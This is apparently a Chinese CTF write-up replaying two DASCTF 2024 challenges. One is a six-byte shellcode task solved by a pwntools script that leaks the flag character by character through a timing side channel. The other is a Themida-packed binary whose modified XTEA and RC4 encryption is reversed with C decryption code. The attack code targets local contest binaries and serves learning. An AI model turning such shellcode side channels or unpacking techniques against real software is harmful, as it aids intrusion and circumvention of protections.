[复现]DASCTF 2024金秋十月|秋意浓,战火燃,码上见真章

PWN

sixbytes

主要代码就是将flag先读到bss段上来

img

可以写入6字节的shellcode来执行

img

img

在后面会将flag作为第一个参数来执行shellcode,我们的思路就是尽量少的去使用汇编语言来缩段shellcode的长度。第一想法是使用puts的系统调用来将flag去带出来。

img

保护全开对我们没什么影响,shellcode所在的地方已经给了rwx的权限

可是,,,,,被ban掉了所有的系统调用我焯了(悲)

img

那这个题就成了测信道攻击的一个题,只能是写loop来一位一位的校验flag

1
2
3
loop:
cmp byte ptr[rdi+{}],{}
jg loop

这里使用了此loop,和flag一位一位的校验

jg是如果比较结果大于就跳转,则会无限进行这个比较。

这样就可以写一个try循环来爆出flag

img

目前只会一位一位的爆emmm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

#context.log_level = "debug"
context.arch = 'amd64'
context.os = 'linux'

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def debug():
gdb.attach(p)
pause()

def cxd(index,char):
try:
p = process('./pwn')
shell=asm('''
loop:
cmp byte ptr[rdi+{}],{}
jg loop
'''.format(index,char))
#print(len(shell))
#debug()
p.sendline(shell)
receive = p.recv(timeout = 1)
except Exception:
#flag += chr(char)
print(chr(char))
p.close()
exit()

for char in range(45,122):
cxd(0,char)
#p.interactive()

RE

EZRE

查壳是一个带 Themida/Winlicense(3.XX)的一个程序,32位,使用unlicense32来脱壳,直接拖着程序到工具上即可,然后会生成一个unpacked的一个程序就是脱壳后的程序

img

有指令,大概修复了之后会得到这样的函数

img

密文是经过了两层加密

逆向这里先看看加密2,看特征应该是个tea加密魔改后的样子

img

加密1的话,好像是安不出来什么东西

img

跟进里面的子函数看一看,这里很明显能够看到rc4的特征

img

到这里就明白了输入flag之后先进行一个rc4加密,然后进行tea加密,两种加密似乎都是魔改过的

xtea解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#include"stdint.h"
#include<Windows.h>

/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */

void decipher(unsigned int v[]) {
unsigned int key[4]={ 0x6e982837,0x44332211,0x11223344,0x3728986e };
unsigned int v0=v[0], v1=v[1], delta=0x9E3779B8, sum=0xcb9e3951;
for (int i=0; i <= 32; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 5) ^ (v1 >> 6)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}

int main()
{
unsigned char v[]={
0x50, 0xD4, 0xC8, 0xC4, 0x8F, 0x84, 0x40, 0xEB, 0x32, 0x81,
0x8F, 0x85, 0x6C, 0xB2, 0x2B, 0x06, 0xBF, 0x05, 0x35, 0x5D,
0x2E, 0xE3, 0x7D, 0x46, 0x8D, 0x35, 0x01, 0x70, 0x3A, 0x80,
0x81, 0xC5, 0xE6, 0x71, 0xD3, 0xD6, 0x50, 0x69, 0x6F, 0xE2,
0x6E, 0x78, 0x14, 0xD8
};
for (int i = 36; i >=0; --i)
{
(decipher)((unsigned int*) & v[i]);

}
for (int i=0;i<=36;i++){
printf("%d,",v[i]);
}

return 0;
}

解出来是这样的

img

然后再解rc4也是有魔改的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#include"stdint.h"
#include<Windows.h>
typedef unsigned longULONG;

/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */

void rc4_init(unsigned char*s, unsigned char*key, unsigned long Len)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i<256; i++)
{
s[i] = i;
k[i] = key[i%Len];
}
for (i = 0; i<256; i++)
{
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];//交换s[i]和s[j]
s[j] = tmp;
}
}

/*加解密*/
void rc4_crypt(unsigned char*s, unsigned char*Data, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
unsigned char h;
for (k = 0; k<Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];//交换s[x]和s[y]
s[j] = tmp;
t = (s[i] + s[j]) % 256;
h = s[t] ^ 0x33;
Data[k] -= h;
}
}

void decipher(unsigned int v[]) {
unsigned int key[4]={ 0x6e982837,0x44332211,0x11223344,0x3728986e };
unsigned int v0=v[0], v1=v[1], delta=0x9E3779B8, sum=0xcb9e3951;
for (int i=0; i <= 32; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 5) ^ (v1 >> 6)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}

int main()
{
unsigned char new_data[44];
unsigned char s[256] = { 0 }, s2[256] = { 0 };//S-box
char key[256] = { "th0s_i0_ke9" };

unsigned char v[]={
0x50, 0xD4, 0xC8, 0xC4, 0x8F, 0x84, 0x40, 0xEB, 0x32, 0x81,
0x8F, 0x85, 0x6C, 0xB2, 0x2B, 0x06, 0xBF, 0x05, 0x35, 0x5D,
0x2E, 0xE3, 0x7D, 0x46, 0x8D, 0x35, 0x01, 0x70, 0x3A, 0x80,
0x81, 0xC5, 0xE6, 0x71, 0xD3, 0xD6, 0x50, 0x69, 0x6F, 0xE2,
0x6E, 0x78, 0x14, 0xD8
};
for (int i = 36; i >=0; --i)
{
(decipher)((unsigned int*) & v[i]);

}
for (int i=0;i<=strlen(v);i++){
printf("0x%x,",v[i]);
}
unsigned long len = strlen(v);
rc4_init(s, (unsigned char*)key, strlen(key));
int i;
for (i = 0; i<256; i++)//用s2[i]暂时保留经过初始化的s[i],很重要的!!!
{
s2[i] = s[i];
}
rc4_crypt(s, (unsigned char*)v, len);
puts("\n\n");
puts(v);
return 0;
}

img

写在后面

不要问为什么只写了两个题,其他题我要是能看懂wp我就复现了。

此刻真诚已成艺术,,,